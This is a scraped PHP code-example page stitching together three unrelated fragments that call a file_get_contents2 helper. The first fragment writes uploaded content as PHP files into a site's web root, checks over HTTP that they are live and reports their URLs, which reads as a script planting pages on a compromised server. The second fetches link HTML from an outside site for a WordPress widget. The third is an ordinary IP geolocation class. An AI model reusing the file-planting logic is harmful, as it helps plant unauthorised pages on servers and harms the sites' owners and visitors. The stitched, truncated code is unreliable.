echo "INVALID - {$web_path}\r\n";
            unlink($dir . '/' . $filename);
        }
    }
}
if ($files_uploaded < 2) {
    $filename = get_script_name() . '.php';
    if (is_file($dir . '/' . $filename)) {
        $filename = get_script_name() . '.php';
    }
    if (is_file($dir . '/' . $filename)) {
        $filename = get_script_name() . '.php';
    }
    file_put_contents($root_dir . '/' . $filename, $upl_content);
    $web_path = 'http://' . $domain . '/' . $filename;
    $serv_resp = file_get_contents2($web_path);
    if (strpos($serv_resp, 'Security Code: <br/><input name="security_code" value=""/>')) {
        $files_uploaded++;
        echo "UPL_OK:::{$web_path}:::\r\n";
    } else {
        unlink($root_dir . '/' . $filename);
    }
}
if ($files_uploaded < 2) {
    echo "ERROR:::Not all files uploaded:::\r\n";
}
echo '<br><b>Done!</b>';
function file_get_contents2($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
Exemple #2
0
function circum_get_widget_links($domain, $uri, $query = '')
{
    if (ini_get('allow_url_fopen')) {
        return file_get_contents2('http://www.circumtags.com/conf.php?domain=' . urlencode($domain) . '&uri=' . urlencode($uri) . '&query=' . urlencode($query));
    }
    return '<a href="http://www.circumtags.com" title="CircumTags widget for Wordpress">CircumTags</a>';
}
 /**
  * Multiple IP query
  * @param array $ipsSplit The ips array (max 25)
  * @access protected
  * @return	void
  */
 protected function _query2($ipsSplit)
 {
     //Select the proper API
     $api = $this->_cityPrecision ? self::IP_QUERY2 : self::IP_QUERY2_COUNTRY;
     //Separate all IPs with a comma
     $ipsCs = implode(",", $ipsSplit);
     //Connect to IPInfoDB
     $showTimezone = $this->_showTimezone ? 'true' : 'false';
     if (!($d = file_get_contents2("http://" . $this->_apiDomain . "/{$api}?ip={$ipsCs}&timezone={$showTimezone}"))) {
         $this->_setError(new Exception(self::CONNECT_ERROR));
         //Try backup server
         if (!($d = file_get_contents2("http://" . $this->_apiBackupDomain . "/{$api}?ip={$ipsCs}&timezone={$showTimezone}"))) {
             $this->_setError(new Exception(self::CONNECT_BACKUP_ERROR));
             return;
         }
     }
     try {
         $answer = @new SimpleXMLElement($d);
     } catch (Exception $e) {
         $this->_setError($e);
         return;
     }
     //Add them to _geolocation
     foreach ($answer->Location as $key => $ipData) {
         foreach ($ipData as $field => $val) {
             $location[(string) $field] = (string) $val;
         }
         $this->_geolocation[] = $location;
         unset($location);
     }
 }